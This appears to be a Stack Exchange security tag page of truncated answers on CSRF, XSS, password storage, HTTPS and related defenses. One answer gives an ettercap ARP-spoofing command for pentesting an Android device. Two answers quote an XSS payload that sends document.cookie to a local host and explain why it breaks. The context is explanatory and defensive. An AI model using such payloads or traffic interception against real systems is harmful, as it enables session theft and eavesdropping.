Tag Info

New answers tagged

0

Remove all unnecessary information from the URL (e.g. http://, the name of the site, etc.). If you have several options (e.g. five sites), use their index. Calculate a hash of what remains using a server-side secret salt and prepend it (or a part of it - the shorter it is, the greater the danger of a successful collision attack) to returnUrl Upon receiving ...


1

This sounds like preventing a CSRF attack. The Same Origin Policy will already prevent anything within your API from being read by another domain, but to prevent requests that makes changes to your system you will need to guard against CSRF. On server side: I check for request header's origin and only allow requests from my-one-and-only-web-cleint.com ...


1

It sounds like a situation similar to CSRF attacks, so it should be addressable with anti-forgery tokens. Anti-forgery tokens should achieve what you need. Each time you get a web request, you serve an anti-forgery token to the client as part of the FORM or script or webapp. The token embeds values like a date, login id, and client ip, encrypted with a ...


1

Assuming you have a password reset function (I'd be surprised if you didn't), I'd just blank/replace the hashes with something empty/useless. This way, nobody can log in, and the proper user can reset their password to regain access. You should consider using a better hashing technique than SHA-1. For simple passwords, there are Rainbow Tables and other ...


1

Generating random passwords and sending them to users is fine. But the most important thing to do, if not already done, is to warn ALL users that their passwords have been compromised and if they are using the same on whatever other website/app they absolutely have to change it.


1

Well if you are using Firefox you can use NoScript but right now "Canvas Fingerprinting" is really a new buzz word but when more people know about it the more developers will make addons to counter Canvas Fingerprinting. There are several options to block Canvas fingerprinting TOR web browser. Yesscript. More info here Canvas Fingerprinting


0

Encrypt the database with a key and only store the key in memory Add common security headers. You can look at what other sites use (for example kraken.com) and use the same HTTP headers after reading up on them (short list: HSTS, nosniff, XSS protection, XFO, CSP) Test for XSS Make sure the RoR XSRF protection works Try to find a pentest company to do a ...


-1

The files are public for the users' browsers to be able to play them, so you cannot prevent users downloading them for other reasons (or indeed just saving the copy in their browser cache). If you want to stop people reusing them in-place from your website (which might be your main aim - someone else referring to the file on your site causes you server load ...


3

No, not at all. What you did, is just a simple XSS test on your own browser. No other user can be affected by the XSS you coded to run on your own computer. You can deploy the same vulnerability on your own hosted website: that way, your website will be either XSS vulnerable. In which case, it can either be used against your own website by hackers wanting ...


3

No, loading an HTML file from your computer is never an XSS vulnerability. You can run whatever code you want locally, but that doesn't affect the website. Cross-site scripting is about getting your code executed on other user's browsers so you can interact with their session for that site. Whether that is stealing a session cookie, performing actions, or ...


0

I think you mix up opportunistic encryption as described by these drafts and STARTTLS. STARTTLS has clearly defined semantics how certificates should be verified (see RFC6125) and most Mail User Agents (MUA) implement these validations when connecting to an Mail Transport Agent (MTA). Thus you need to explicitly accept a specific fingerprint of a server if ...


2

None of the mainstream user-agents (IE, FF, Chrome, etc.) support either of those proposals, so there's currently no way to do opportunistic HTTPS. Why not just serve all of your content over HTTPS to everyone? Seems like that's the best way to offer your users confidentiality and integrity.


2

CAS just performs authentication. Authorization is up to the service provider. With older versions of CAS, you could use the SAML validate endpoint to get attributes from CAS. With the new jasig-CAS 4.0 server, you can get attributes from the CAS 3.0 protocol. This still means authorization is up to the service, but the service is able to request ...


0

(This may be a dupe; I have a vague memory of a similar question, but I can't find it now, so either my memory or my search-fu is defective, or it's been deleted.) Salt only works if you can tie the protected value to a public value (i.e. salt for hashing a password is stored with the corresponding userid). The only obvious match to an IPaddress is the ...


5

When you use an "authentication token", the simple presentation of that token by the client grants access (as long as the token is deemed valid by the server). If you store the tokens "as is" in your server's database, then an attacker who could get a glimpse at your database will immediately learn all the tokens, allowing him to send requests in the name of ...


0

Besides the obvious resources: http://www.tssci-security.com/archives/2010/03/18/pentesting-flex/ http://deblaze-tool.appspot.com there are also many important concepts to keep in mind while testing: AMF must be dealt with Flash files may be involved, so decompiling, statically analyzing them, and reviewing their code is paramount -- including ...


0

Here is my solution $id=1234; $en_id = encrypString( $id); and I create the url like https://www.example.com/show_order.php?id=$en_id the url will look like https://www.example.com/show_order.php?id=9muEYh4lShFDeCnXqoNpxucs42Fuz5Nexq1IUGWYEffffe88yRbJu and on the other side I decrypt $en_id= decryptString($_GET['id']); the functions for crypt and ...


0

Whenever there is a security issue - it is usually a design problem rather than an implementation problem. You are worried that the clients will be able to steal other users' passwords by tampering - locally - with the application. This can only be possible if you are giving them free access to the passwords. How do they authenticate? How would they steal ...


1

Not understanding exactly what you are trying to defend against (see my comment above). But in any way if you wish to serve html+css+js locally you could use Cordova to package your web app as a client app. Then you could also upload it to the market. (You can also use the OS's web browser controls to implement it yourself instead of using cordova) Your ...


0

You can also use a tool like Burpsuite, similar to CharlesProxy but offers plugin support. There's a neat plugin for AMF testing, called Blazer which offers fuzzing capabilities with customizable attack vectors. The code for Blazer can be found on GitHub - Code for Blazer.


3

They're using id.avast.com as an authentication provider, not just an external database. So RCE doesn't get you access to it (assuming it's a different host machine), SQLi certainly doesn't, and since it's on a different domain (origin), neither does XSS. They've now significantly isolated their password hashes from the forum software. Using an ...


1

Only addressing the first question, which is essentially "Is it okay to code client-side validation?". Yes its a good user experience, immediate feedback is nice. Client-side validation isn't actually security however, its more of a convenience. Its purpose is to speed up the process, to put the form in a state that will pass validation. As you probably ...


1

Short answer: no, and take a crash course on security urgently if you're making a sales website! You should not add arbitrary restrictions and checks and "protections" just because you don't know what's going on. If you do that you're more likely to add problems and leave security vulnerabilities open than anything. Obviously, the reason why there are ...


1

If some malware on the user side makes the client buy 2 millions of items on your site, and your site performs the transaction without raising any alert, then some people, in particular the defrauded customer, may complain quite loudly and assert that your server is a bit lax. It could be argued (in court !) that you would be at fault for not making some ...


3

Yes, you should add protections, but they need to be appropriate for the situation. All user input must be validated. The fundamental principle is that you do not define what "bad" input is, you define what "good" input is and reject everything else. To take your example, you've defined "items > 20" as bad. But what if "items" is -1? What if it's the ...


1

You can't always know how things really can go bad. In your current example the attacker can send a very large value causing an arithmetic- or stack overflow or an unhandled exception causing the server to shut down and lead to an availibility problem. So always do the checks, always consider the worst can happen and think of the attacker as someone who is ...


0

Connect your Android device and your penetration testing platform to a LAN. Conduct an ARP spoof/poison attack against the Android device using ettercap (or your favorite arp spoofing tool). This will cause all packets to and from the Android device to first pass through your penetration testing platform. ettercap -T -w dump -M ARP /xx.xx.xx.xx/ // output: ...


0

Actually in this case, the origin of Google analytic script is a.com quote from this book JavaScript: The Definitive Guide It is important to understand that the origin of the script itself is not relevant to the same-origin policy: what matters is the origin of the document in which the script is embedded.


2

A MAC address is unsuitable for this for several reasons: The MAC address can be changed freely by the user in software, and will change if the network hardware is replaced. A wireless device broadcasts its address to everyone around, so it's hardly a secret. MAC addresses are supposed to be unique, but in practice, they aren't. A device with multiple ...


4

In your question, you mention that the app displays the text of the captcha right under it. If you mean that the correct answer to the captcha challenge is displayed to the user as text in addition to its display in an image, then it should be a simple matter to script an automated scan. Your script would be able to complete the login process by reading the ...


3

Yes you should protect against Login CSRF. Without this protection an attacker can effectively reverse a CSRF attack. Rather than the victim being logged in to their own account and the attacker tries to ride the session by making requests to the site using the victim's cookies, they will be logging into the site under the attacker's credentials allowing the ...


0

The best solution as pointed out by @schroeder is to use a non-captcha version of the website to run your scans. To answer your question, yes Captcha is used to prevent automated bots from accessing your website, so I would say it makes it some degree of more secure. This may be a little more work intensive but is it possible to manually work your way ...


0

If the CSRF vulnerable application allows itself to be embedded in an Iframe, then yes. How does it help the attacker? Iframes can be made invisible by setting size to zero. So as against the normal csrf where victim might get an idea of something suspicious, in case of invisible iframe, he won't see anything. The attacker will submit the form on victim's ...


1

Login? Yes. Logout? No. Why login? There is this funny CSRF login attack, where the attacker logs in the victim under aa attacker-controlled account, and then can "gain control over content created by the victim while logged in under that account". The impact is pretty lame IMO, but they started to see this as a problem now that more juicy attack vectors ...


1

Viewstate is what you're looking for. It secures the page cryptographically, although it has known limitations that are located elsewhere on this site. An optional MAC should be enabled for sensitive pages, such as yours, that allows the client to post back prices that are used by the business layer.


0

Have a look at identity based encryption. Basically you could just use asymmetric encryption to achieve what you want. For example: encrypt everything you put on Facebook. Proof of concept: develop a plugin for Chrome which encrypts everything before it is uploaded to facebook with your private key. You spread your public key to your users. They use the ...


0

This depends entirely on what you need the application to do, exactly what data needs to be protected, and who is permitted to view the data. In the simplest case, where your application is merely an indexing system for documents and the document metadata can be stored in the clear, you can use client-side encryption to protect the document itself: the ...


2

These requests seem to try to locate Ajax File Manager, in which several vulnerabilities have been discovered. If you don’t use that, there is no need to worry.


2

Putting an xinetd server in front of your web server will reduce security: in addition to any security holes in the web server, you now also are vulnerable to any security holes in xinetd. Any security measures you can apply through xinetd, you can apply instead through the firewall or the web server.


1

I answer my own question thanks to @SilverlightFox. MySQL has two modes it can operate: STRICT_TRANS_TABLES and STRICT_ALL_TABLES and quoting MySQL doc: Strict mode controls how MySQL handles invalid or missing values in data-change statements such as INSERT or UPDATE. A value can be invalid for several reasons. For example, it might have the wrong data ...


2

In itself, merely having %32%35 decoded to 25 in a URL is neither an error nor a sign of a vulnerability. In fact, it's what RFC 3986, section 2.3 says should happen (emphasis mine): 2.3. Unreserved Characters Characters that are allowed in a URI but do not have a reserved purpose are called unreserved. These include uppercase and lowercase ...


9

On it's face, because it takes encoded characters and is handled by the page code, it gets classified as an XSS vulnerability. This does not mean that it is a XSS vulnerability for your site, but it is suspicious. As for the process to determine is there is a risk, you need to do a little fuzzing to see how your site responds. XSS fuzzing options abound ...


0

Agree with @SteffenUllrich that on its own there are few threat models this actually protects against. Virtually all situations you can passively sniff can also be actively sniffed should untrusted HTTPS be used. Using this scheme with something like Moxie Marlinspikes convergence (www.convegence.io) would be effective, incidentally, which tries to replace ...


0

Well you makes a point, but signed HTTPS is still trustworthy than self-signed which is trustworthy than none (HTTP). Encryption is defined by authentication / non-repudiation / integrity / and confidentiality. A self signed certificate can be created by anyone, make non-repudiation attribute obsolete. In theory this is then less truth-worthy than a ...


3

With the comments removed, your code looks like this: <a href='mailto:</a><script>location.href=location.href="http://127.0.0.1/""http://127.0.0.1/"+document.cookie;+document.cookie;</script><a>'>*/</script><a></a> This results in a syntax error, which prevents the code from running. Particularly, the "" is ...


1

Assuming that this is the code that is displayed on the webpage, I would say that the URL you pass to location.href is malformed which makes the Javascript crash. Hence, nothing happen. Your code if you reformat it and remove the comments look like that (and there seems to have a typo for the > character on the first line...) <a ...


0

Currently, we only have two protocols specified: plain HTTP, and HTTPS which requires valid certificates. If we simply said "HTTPS is now possible with self-signed certificates", your browser could not distingush whether a site you are trying to visit has a self-signed cert because it is supposed to, or because you are being attacked. Thus, it would decrease ...



Top 50 recent answers are included